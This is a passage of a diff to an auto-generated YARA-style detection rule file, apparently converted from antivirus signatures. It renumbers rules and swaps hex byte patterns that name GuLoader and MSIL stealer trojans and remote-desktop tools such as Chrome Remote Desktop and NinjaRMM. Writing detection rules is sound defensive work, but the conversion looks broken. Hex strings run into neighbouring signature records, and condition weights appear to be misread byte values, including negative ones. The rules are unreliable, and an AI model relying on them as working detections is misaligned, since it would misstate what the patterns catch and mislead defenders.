1)*26995+(#a_2f_6 & 1)*18771+(#a_00_7 & 1)*4873+(#a_10_8 & 1)*5647+(#a_11_9 & 1)*4865) >=10 + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*21317+(#a_01_2 & 1)*14450+(#a_3c_3 & 1)*0+(#a_63_4 & 1)*26736+(#a_72_5 & 1)*385+(#a_53_6 & 1)*8993+(#a_6e_7 & 1)*25959+(#a_6e_8 & 1)*25966) >=10 } -rule _InfrastructureShared_17729{ +rule _InfrastructureShared_18879{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4f 21 4d 54 42 00 01 00 19 81 01 5c 45 69 62 72 69 74 68 73 38 37 5c 67 69 62 72 61 6c 74 61 72 2e 69 6e 69 01 00 13 81 01 5c 53 71 75 61 6d 69 70 65 6e 6e 65 73 31 33 2e 6c } //18467 + $a_00_1 = {1b } //27502 + $a_74_2 = {69 74 74 65 74 5c 70 61 6c 65 6f 67 72 61 70 68 69 63 61 6c 2e 7a 69 70 01 00 13 81 01 42 6f 72 74 76 61 73 6b 65 64 65 73 31 34 34 2e 69 6e 69 01 00 1a 81 01 53 6d 61 61 73 6b 6f 76 73 66 6f 72 65 6e 69 6e 67 65 72 6e 65 73 2e 6c 69 6c 01 00 0c 81 01 64 65 64 65 6e 64 75 6d } //385 + $a_65_3 = {00 14 81 01 74 76 69 6c 6c 69 6e 67 73 73 74 72 65 6e 65 73 2e 74 78 74 01 00 15 81 01 5c 72 65 73 75 62 6d 65 72 67 69 6e 67 5c 65 6e 76 2e 68 74 6d 01 00 18 81 01 5c 6a 6f 6c 61 6e 64 61 73 5c 69 6b 65 6e 64 65 6e 64 65 73 2e 6a 70 67 01 00 1c 81 01 5c 70 65 6e 6f 6c 6f 67 69 73 74 5c 70 72 6f 74 72 61 64 69 74 69 6f 6e 2e 69 6e 69 00 00 78 3c } //29486 + $a_00_4 = {0a 00 0a 00 21 23 48 53 54 52 } //1 + $a_6e_5 = {32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 51 31 32 33 21 4d 54 42 00 01 00 17 81 01 70 61 74 74 65 72 6e 65 20 66 61 72 69 73 68 20 61 6c 74 65 73 73 65 01 00 10 81 01 66 6f 72 76 72 69 64 6e 69 6e 67 65 72 6e 65 73 01 00 13 81 01 62 65 61 74 75 74 69 20 73 6c 79 6e 67 72 6f 73 65 72 73 01 00 10 81 01 61 68 72 65 } //22330 + $a_73_6 = {65 61 73 74 6d 61 6e 01 00 11 81 01 68 6f 73 70 69 74 61 6c 69 74 69 65 73 2e 63 6f 66 01 00 1c 81 01 23 5c 64 69 73 73 69 70 61 74 6f 72 5c 46 6f 72 6d 61 6c 69 7a 61 62 6c 65 31 33 33 01 00 27 81 01 25 67 72 75 6e 64 74 6f 6e 65 72 6e 65 25 5c 6d 65 73 74 65 72 6d 61 67 65 72 65 6e 5c 42 61 73 69 6f 74 72 69 62 65 01 00 1c 81 01 53 6f 66 74 77 } //25710 + $a_5c_7 = {69 6c 69 70 70 69 6e 65 72 6e 65 73 5c 6f 73 74 65 74 01 00 0f 81 01 64 61 6d 70 72 65 6e 73 6e 69 6e 67 65 72 73 01 00 17 81 01 25 68 65 6e 69 71 75 65 6e 73 25 5c 72 65 74 6f 75 63 68 61 62 6c 65 00 00 78 3c 01 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e } //29281 + $a_73_8 = {61 2e 56 49 53 34 21 4d 54 42 00 0a 00 fd 02 14 0c 16 0d 16 13 04 16 13 05 14 13 06 16 13 07 73 90 01 04 13 08 17 13 0c 11 08 0c 00 2b 00 03 6f 90 01 04 13 09 00 11 09 17 da 13 09 00 16 13 0d 17 13 0e 11 09 13 04 00 2b 00 17 13 0f 16 13 10 17 13 11 11 10 13 05 00 2b 00 00 11 05 11 04 fe 02 16 fe 01 13 } //21620 + $a_2c_9 = {2b 11 00 08 6f 90 01 04 0b 00 00 07 0a 38 90 01 04 00 } //4370 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27502+(#a_74_2 & 1)*385+(#a_65_3 & 1)*29486+(#a_00_4 & 1)*1+(#a_6e_5 & 1)*22330+(#a_73_6 & 1)*25710+(#a_5c_7 & 1)*29281+(#a_73_8 & 1)*21620+(#a_2c_9 & 1)*4370) >=10 + +} +rule _InfrastructureShared_18880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -212550,7 +226580,7 @@ rule _InfrastructureShared_17729{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*24933+(#a_72_2 & 1)*26465+(#a_00_3 & 1)*12+(#a_52_4 & 1)*21320+(#a_0e_5 & 1)*5901+(#a_00_6 & 1)*5+(#a_04_7 & 1)*-28561+(#a_28_8 & 1)*400+(#a_04_9 & 1)*-28561) >=10 } -rule _InfrastructureShared_17730{ +rule _InfrastructureShared_18881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -212561,7 +226591,7 @@ rule _InfrastructureShared_17730{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*4886) >=12 } -rule _InfrastructureShared_17731{ +rule _InfrastructureShared_18882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -212574,7 +226604,7 @@ rule _InfrastructureShared_17731{ ((#a_77_0 & 1)*19491+(#a_74_1 & 1)*16672+(#a_74_3 & 1)*28499+(#a_50_4 & 1)*1220) >=12 } -rule _InfrastructureShared_17732{ +rule _InfrastructureShared_18883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0a 00 21 " @@ -212592,7 +226622,7 @@ rule _InfrastructureShared_17732{ ((#a_46_0 & 1)*16675+(#a_c3_1 & 1)*-21709+(#a_00_2 & 1)*103+(#a_00_4 & 1)*97+(#a_42_5 & 1)*22607+(#a_65_6 & 1)*384+(#a_62_7 & 1)*25933+(#a_01_8 & 1)*30720+(#a_81_9 & 1)*2) >=12 } -rule _InfrastructureShared_17733{ +rule _InfrastructureShared_18884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -212615,7 +226645,7 @@ rule _InfrastructureShared_17733{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20225+(#a_65_2 & 1)*28005+(#a_6c_3 & 1)*29806+(#a_6e_4 & 1)*28277+(#a_71_5 & 1)*385+(#a_67_6 & 1)*26994+(#a_04_7 & 1)*-26103+(#a_08_8 & 1)*3416+(#a_00_9 & 1)*1299+(#a_48_10 & 1)*18504+(#a_65_11 & 1)*384+(#a_2f_12 & 1)*13166+(#a_78_13 & 1)*28773) >=14 } -rule _InfrastructureShared_17734{ +rule _InfrastructureShared_18885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0c 00 21 " @@ -212635,7 +226665,7 @@ rule _InfrastructureShared_17734{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29264+(#a_6e_2 & 1)*28277+(#a_48_4 & 1)*8448+(#a_02_5 & 1)*10+(#a_00_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1) >=15 } -rule _InfrastructureShared_17735{ +rule _InfrastructureShared_18886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -212651,7 +226681,7 @@ rule _InfrastructureShared_17735{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*5897+(#a_01_2 & 1)*20817+(#a_67_3 & 1)*29555+(#a_72_4 & 1)*29537+(#a_e6_5 & 1)*18691+(#a_00_7 & 1)*111) >=17 } -rule _InfrastructureShared_17736{ +rule _InfrastructureShared_18887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 06 00 21 " @@ -212666,7 +226696,7 @@ rule _InfrastructureShared_17736{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*2+(#a_03_4 & 1)*2+(#a_00_5 & 1)*0) >=100 } -rule _InfrastructureShared_17737{ +rule _InfrastructureShared_18888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -212677,7 +226707,7 @@ rule _InfrastructureShared_17737{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111) >=200 } -rule _InfrastructureShared_17738{ +rule _InfrastructureShared_18889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -212687,7 +226717,7 @@ rule _InfrastructureShared_17738{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_17739{ +rule _InfrastructureShared_18890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " @@ -212698,7 +226728,7 @@ rule _InfrastructureShared_17739{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*25944) >=1 } -rule _InfrastructureShared_17740{ +rule _InfrastructureShared_18891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -212711,7 +226741,7 @@ rule _InfrastructureShared_17740{ ((#a_5f_0 & 1)*16931+(#a_65_1 & 1)*30060+(#a_00_2 & 1)*117+(#a_00_3 & 1)*15736) >=2 } -rule _InfrastructureShared_17741{ +rule _InfrastructureShared_18892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -212723,7 +226753,7 @@ rule _InfrastructureShared_17741{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-32508+(#a_54_2 & 1)*25441) >=3 } -rule _InfrastructureShared_17742{ +rule _InfrastructureShared_18893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -212734,7 +226764,7 @@ rule _InfrastructureShared_17742{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_17743{ +rule _InfrastructureShared_18894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -212746,7 +226776,7 @@ rule _InfrastructureShared_17743{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*113+(#a_65_2 & 1)*24933) >=3 } -rule _InfrastructureShared_17744{ +rule _InfrastructureShared_18895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -212763,7 +226793,7 @@ rule _InfrastructureShared_17744{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*123+(#a_00_2 & 1)*123+(#a_74_3 & 1)*26984+(#a_61_4 & 1)*29295+(#a_00_5 & 1)*82+(#a_2e_6 & 1)*16712+(#a_2d_7 & 1)*2305) >=3 } -rule _InfrastructureShared_17745{ +rule _InfrastructureShared_18896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -212777,7 +226807,7 @@ rule _InfrastructureShared_17745{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_00_2 & 1)*144+(#a_4c_3 & 1)*18435+(#a_30_4 & 1)*11585) >=5 } -rule _InfrastructureShared_17746{ +rule _InfrastructureShared_18897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -212792,7 +226822,7 @@ rule _InfrastructureShared_17746{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*30291+(#a_2a_2 & 1)*10794+(#a_00_3 & 1)*15681+(#a_43_4 & 1)*385+(#a_3a_5 & 1)*21587) >=7 } -rule _InfrastructureShared_17747{ +rule _InfrastructureShared_18898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -212802,7 +226832,7 @@ rule _InfrastructureShared_17747{ ((#a_54_0 & 1)*18467) >=7 } -rule _InfrastructureShared_17748{ +rule _InfrastructureShared_18899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -212816,7 +226846,7 @@ rule _InfrastructureShared_17748{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_00_3 & 1)*65+(#a_00_5 & 1)*105+(#a_79_6 & 1)*29285) >=7 } -rule _InfrastructureShared_17749{ +rule _InfrastructureShared_18900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -212833,7 +226863,7 @@ rule _InfrastructureShared_17749{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27499+(#a_6d_2 & 1)*29793+(#a_00_3 & 1)*8+(#a_6e_4 & 1)*22330+(#a_42_5 & 1)*13618+(#a_62_6 & 1)*28523+(#a_6b_7 & 1)*24904) >=8 } -rule _InfrastructureShared_17750{ +rule _InfrastructureShared_18901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -212849,7 +226879,7 @@ rule _InfrastructureShared_17750{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29537+(#a_72_2 & 1)*29793+(#a_6d_3 & 1)*24934+(#a_54_4 & 1)*29793+(#a_00_6 & 1)*111+(#a_6e_7 & 1)*22330) >=8 } -rule _InfrastructureShared_17751{ +rule _InfrastructureShared_18902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -212865,7 +226895,7 @@ rule _InfrastructureShared_17751{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*11891+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_3d_6 & 1)*0) >=8 } -rule _InfrastructureShared_17752{ +rule _InfrastructureShared_18903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -212881,7 +226911,7 @@ rule _InfrastructureShared_17752{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*19054+(#a_70_2 & 1)*29800+(#a_66_3 & 1)*20271+(#a_72_5 & 1)*25857+(#a_01_7 & 1)*5376+(#a_73_8 & 1)*24944) >=8 } -rule _InfrastructureShared_17753{ +rule _InfrastructureShared_18904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -212898,7 +226928,7 @@ rule _InfrastructureShared_17753{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*12064+(#a_00_3 & 1)*144+(#a_72_4 & 1)*29699+(#a_72_5 & 1)*14918+(#a_64_6 & 1)*8302+(#a_01_7 & 1)*27501+(#a_20_8 & 1)*25972) >=8 } -rule _InfrastructureShared_17754{ +rule _InfrastructureShared_18905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -212914,7 +226944,7 @@ rule _InfrastructureShared_17754{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29295+(#a_65_3 & 1)*25939+(#a_00_4 & 1)*26723+(#a_30_5 & 1)*22098+(#a_65_6 & 1)*23667+(#a_72_7 & 1)*23666) >=9 } -rule _InfrastructureShared_17755{ +rule _InfrastructureShared_18906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -212925,13 +226955,13 @@ rule _InfrastructureShared_17755{ $a_53_4 = {65 61 6c 65 72 2e 52 54 21 4d 54 42 00 01 00 1b 01 61 64 64 5f 44 6f 77 6e 6c 6f 61 64 50 72 6f 67 72 65 73 73 43 68 61 6e 67 65 64 01 00 19 } //19529 $a_64_5 = {44 6f 77 6e 6c 6f 61 64 46 69 6c 65 43 6f 6d 70 6c 65 74 65 64 01 00 2e 01 64 72 61 77 61 62 6c 65 4f 62 6a 65 63 74 73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 26 01 41 64 76 61 6e 63 65 64 55 49 43 6f 6e 74 72 6f 6c 73 2e 52 65 6e 64 65 72 } //24833 $a_2e_6 = {65 73 6f 75 72 63 65 73 05 00 58 02 64 00 72 00 61 00 77 00 61 00 62 00 6c 00 65 00 4f 00 62 00 6a 00 65 00 63 00 74 00 73 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 90 02 03 0b 73 00 73 00 73 00 73 00 73 00 90 00 01 00 22 03 73 65 74 5f 45 6e 63 6f 64 69 6e 67 00 90 02 2f } //28482 - $a_6d_7 = {61 73 65 36 34 53 74 72 69 6e 67 90 00 00 00 78 3d 01 00 0e 00 0e 00 0b 00 21 23 42 4d 5f 41 54 3a 47 6f 6f 67 6c 65 2e 52 44 00 0a 00 0a 81 01 47 6f 6f 67 6c 65 20 49 6e 63 02 00 1c 00 72 65 6d 6f 74 69 6e 67 5f 68 6f 73 74 5f 70 6c 75 67 69 6e 2e 64 6c 6c 2e 70 64 62 02 00 16 00 72 65 6d 6f 74 65 5f 61 73 73 69 73 74 61 6e 63 65 } //29254 - $a_73_8 = {02 00 18 00 72 65 6d 6f 74 69 6e 67 5f 64 65 73 6b 74 6f 70 2e 65 78 65 2e 70 64 62 02 00 11 00 72 65 6d 6f 74 69 6e 67 5f 63 6f 72 65 2e 64 6c 64 02 00 26 00 72 65 6d 6f 74 69 6e 67 5f 6e 61 74 69 76 65 5f 6d 65 73 73 61 67 69 6e 67 5f 68 6f 73 74 2e 65 78 65 2e 70 64 62 02 00 1b 00 72 65 6d 6f 74 65 5f 73 65 63 75 72 69 74 79 5f } //26719 + $a_6d_7 = {61 73 65 36 34 53 74 72 69 6e 67 90 00 00 00 78 3d 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 51 21 4d 54 42 00 01 00 1c 81 01 5c 76 61 72 65 67 72 75 70 70 65 72 6e 65 73 5c 77 65 73 74 6c 61 6e 64 77 61 79 73 01 00 1c 81 01 5c 46 72 61 6e 6b 61 6c 6d 6f 69 } //29254 + $a_31_8 = {5c 70 61 6e 61 6d 69 63 2e 74 78 74 01 00 19 81 01 4d 65 6a 65 72 69 73 65 6c 73 6b 61 62 65 72 6e 65 73 31 36 39 2e 69 6e 69 01 00 17 81 01 53 6b 79 } //28263 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25959+(#a_75_3 & 1)*9473+(#a_53_4 & 1)*19529+(#a_64_5 & 1)*24833+(#a_2e_6 & 1)*28482+(#a_6d_7 & 1)*29254+(#a_73_8 & 1)*26719) >=9 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25959+(#a_75_3 & 1)*9473+(#a_53_4 & 1)*19529+(#a_64_5 & 1)*24833+(#a_2e_6 & 1)*28482+(#a_6d_7 & 1)*29254+(#a_31_8 & 1)*28263) >=9 } -rule _InfrastructureShared_17756{ +rule _InfrastructureShared_18907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -212939,13 +226969,32 @@ rule _InfrastructureShared_17756{ $a_54_0 = {3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 52 54 21 4d 54 42 00 01 00 1b 01 61 64 64 5f 44 6f 77 6e 6c 6f 61 64 50 72 6f 67 72 65 73 73 43 68 61 6e 67 65 64 01 00 19 01 61 64 64 5f 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 43 6f 6d 70 6c 65 74 65 64 01 00 } //18467 $a_72_1 = {77 61 62 6c 65 4f 62 6a 65 63 74 73 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 26 01 41 64 76 61 6e 63 65 64 55 49 43 6f 6e 74 72 6f 6c 73 2e 52 65 6e 64 65 72 42 6f 78 2e 72 65 73 6f 75 72 63 65 73 05 00 58 02 64 00 72 00 61 00 77 00 61 00 62 } //302 $a_00_3 = {6a 00 65 00 63 00 74 00 73 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 90 02 03 0b 73 00 73 00 73 00 73 00 73 00 90 00 01 00 22 03 73 65 74 5f 45 6e 63 6f 64 69 6e 67 00 90 02 2f 46 72 6f 6d 42 61 73 65 36 34 } //79 - $a_69_4 = {67 90 00 00 00 78 3d 01 00 0e 00 0e 00 0b 00 21 23 42 4d 5f 41 54 3a 47 6f 6f 67 6c 65 2e 52 44 00 0a 00 0a 81 01 47 6f 6f 67 6c 65 20 49 6e 63 02 00 1c 00 72 65 6d 6f 74 69 6e 67 5f 68 6f 73 74 5f 70 6c 75 67 69 6e 2e 64 6c 6c 2e 70 64 62 02 00 16 00 72 65 6d 6f 74 65 5f 61 73 73 69 73 74 61 6e 63 65 5f 68 6f 73 74 02 00 18 00 72 65 6d 6f } //29779 - $a_67_5 = {64 65 73 6b 74 6f 70 2e 65 78 65 2e 70 64 62 02 00 11 00 72 65 6d 6f 74 69 6e 67 5f 63 6f 72 65 2e 64 6c 64 02 00 26 00 72 65 6d 6f 74 69 6e 67 5f 6e 61 74 69 76 65 5f 6d 65 73 73 61 67 69 6e 67 5f 68 6f 73 74 2e 65 78 65 2e 70 64 62 02 00 1b 00 72 65 6d 6f 74 65 5f 73 65 63 75 72 69 74 79 5f 6b 65 79 2e 65 78 65 2e 70 64 62 02 } //26996 + $a_69_4 = {67 90 00 00 00 78 3d 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 51 21 4d 54 42 00 01 00 1c 81 01 5c 76 61 72 65 67 72 75 70 70 65 72 6e 65 73 5c 77 65 73 74 6c 61 6e 64 77 61 79 73 01 00 1c 81 01 5c 46 72 61 6e 6b 61 6c 6d 6f 69 67 6e 32 31 34 5c 70 61 6e 61 6d 69 63 } //29779 + $a_74_5 = {00 19 81 01 4d 65 6a 65 72 69 73 65 6c 73 6b 61 62 65 72 6e 65 73 31 36 39 2e 69 6e 69 01 00 17 81 01 53 6b 79 74 74 65 67 72 61 76 73 6b 72 69 67 73 31 31 35 2e 6a 70 67 01 00 13 81 01 62 65 68 6f 76 73 73 69 74 75 61 74 69 6f 6e 2e 6b 61 6e 01 00 0d 81 01 63 65 6d 65 6e 74 65 6e 73 2e 74 78 74 01 00 10 81 01 65 75 72 6f 73 6b 65 70 74 69 73 6b 2e 69 6e 69 } //29742 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*302+(#a_00_3 & 1)*79+(#a_69_4 & 1)*29779+(#a_67_5 & 1)*26996) >=10 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*302+(#a_00_3 & 1)*79+(#a_69_4 & 1)*29779+(#a_74_5 & 1)*29742) >=10 } -rule _InfrastructureShared_17757{ +rule _InfrastructureShared_18908{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 51 21 4d 54 42 00 01 00 1c 81 01 5c 76 61 72 65 67 72 75 70 70 65 72 6e 65 73 5c 77 65 73 74 6c 61 6e 64 77 61 79 73 01 00 1c 81 01 5c 46 72 61 6e 6b 61 6c 6d 6f 69 67 6e 32 } //18467 + $a_70_1 = {6e 61 6d 69 63 2e 74 78 74 01 00 19 81 01 4d 65 6a 65 72 69 73 65 6c 73 6b 61 62 65 72 6e 65 73 31 36 39 2e 69 6e 69 01 00 17 81 01 53 6b 79 74 74 65 67 72 61 76 73 6b 72 69 67 73 31 31 35 2e 6a 70 67 01 00 13 81 01 62 65 68 6f 76 73 73 69 74 75 61 74 69 6f 6e 2e 6b 61 6e 01 } //13361 + $a_01_2 = {63 65 6d 65 6e 74 65 6e 73 2e 74 78 74 01 00 10 81 01 65 75 72 6f 73 6b 65 70 74 69 73 6b 2e 69 6e 69 01 00 19 81 01 6d 65 64 69 63 69 6e 61 6c 64 69 72 65 6b 74 72 65 72 6e 65 73 2e 74 78 74 01 00 12 81 01 73 75 62 67 72 61 6e 75 6c 61 72 69 74 79 2e 6a 70 67 01 00 1b 81 01 5c 4b 69 72 6b 65 67 6e 67 65 72 65 73 5c 4d 61 73 74 69 78 65 73 33 2e 68 74 6d 00 00 78 3d 01 00 0e 00 0e 00 } //3328 + $a_23_3 = {4d 5f 41 54 3a 47 6f 6f 67 6c 65 2e 52 44 00 0a 00 0a 81 01 47 6f 6f 67 6c 65 20 49 6e 63 02 00 1c } //11 + $a_6d_4 = {74 69 6e 67 5f 68 6f 73 74 5f 70 6c 75 67 69 6e 2e 64 6c 6c 2e 70 64 62 02 00 16 00 72 65 6d 6f 74 65 5f 61 73 73 69 73 74 61 6e 63 65 5f 68 6f 73 74 02 00 18 00 72 65 6d 6f 74 69 6e 67 5f 64 65 73 6b 74 6f 70 2e 65 78 65 2e 70 64 62 02 00 11 00 72 65 6d 6f 74 69 6e 67 5f 63 6f 72 65 2e 64 6c 64 02 00 } //29184 + $a_65_5 = {6f 74 69 6e 67 5f 6e 61 74 69 76 65 5f 6d 65 73 73 61 67 69 6e 67 5f 68 6f 73 74 2e 65 78 65 2e 70 64 62 02 00 1b 00 72 65 6d 6f 74 65 5f 73 65 63 75 72 69 74 79 5f 6b 65 79 2e 65 78 65 2e 70 64 62 02 00 15 00 72 65 6d 6f 74 69 6e 67 5f 68 6f 73 74 2e 65 78 65 2e 70 64 62 02 00 12 80 01 2d 72 65 66 73 2f 62 72 61 6e 63 68 2d 68 65 61 64 73 } //38 + $a_80_6 = {43 68 72 6f 6d 65 20 52 65 6d 6f 74 65 20 44 65 73 6b 74 6f 70 } //Chrome Remote Desktop 2 + $a_80_7 = {48 6f 73 74 4d 61 69 6e 40 72 65 6d 6f 74 69 6e 67 } //HostMain@remoting 2 + $a_3d_8 = {00 0e 00 0e 00 0f 00 21 23 42 4d 5f 41 54 3a 4e 69 6e 6a 61 52 4d 4d 00 0a 00 08 81 01 4e 69 6e 6a 61 52 4d 4d 02 00 11 81 01 4e 69 6e 6a 61 52 4d 4d 41 67 65 6e 74 2e 70 64 62 02 00 18 81 01 4e 69 6e 6a 61 52 4d 4d 41 67 65 6e 74 50 61 74 63 68 65 72 2e 70 64 62 02 00 0c 81 01 4e 69 6e 6a 61 57 50 4d 2e 70 64 62 02 00 18 81 01 6e 6a 61 52 4d 4d 50 72 6f 78 } //0 + $a_6f_9 = {65 73 73 36 34 2e 70 64 62 02 00 09 81 01 6e 6a 62 61 72 2e 70 64 62 02 00 10 81 01 6e 69 6e 6a 61 72 6d 6d 2d 63 6c 69 2e 70 64 62 02 00 0e 81 01 6e 6d 73 6d 61 6e 61 67 65 72 2e 70 64 62 02 00 1c 81 01 47 6c 6f 62 61 6c 5c 6e 69 6e 6a 61 5f 61 67 65 6e 74 5f 75 6e 69 71 75 65 5f 6d 78 02 00 0d 81 01 61 67 65 6e 74 20 73 65 72 76 69 63 65 } //20601 + condition: + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*13361+(#a_01_2 & 1)*3328+(#a_23_3 & 1)*11+(#a_6d_4 & 1)*29184+(#a_65_5 & 1)*38+(#a_80_6 & 1)*2+(#a_80_7 & 1)*2+(#a_3d_8 & 1)*0+(#a_6f_9 & 1)*20601) >=10 + +} +rule _InfrastructureShared_18909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0b 00 21 " @@ -212964,7 +227013,7 @@ rule _InfrastructureShared_17757{ ((#a_5f_0 & 1)*16931+(#a_5f_1 & 1)*25454+(#a_5f_2 & 1)*29807+(#a_69_3 & 1)*19828+(#a_64_4 & 1)*11890+(#a_6a_5 & 1)*26990+(#a_00_7 & 1)*1+(#a_61_8 & 1)*21295+(#a_19_9 & 1)*-28672+(#a_00_10 & 1)*6402) >=14 } -rule _InfrastructureShared_17758{ +rule _InfrastructureShared_18910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0f 00 21 " @@ -212987,7 +227036,7 @@ rule _InfrastructureShared_17758{ ((#a_5f_0 & 1)*16931+(#a_4e_1 & 1)*-32500+(#a_50_2 & 1)*24938+(#a_81_3 & 1)*2+(#a_81_4 & 1)*2+(#a_81_5 & 1)*2+(#a_81_6 & 1)*2+(#a_81_7 & 1)*2+(#a_81_8 & 1)*2+(#a_81_9 & 1)*2+(#a_3d_10 & 1)*0+(#a_00_11 & 1)*71+(#a_53_12 & 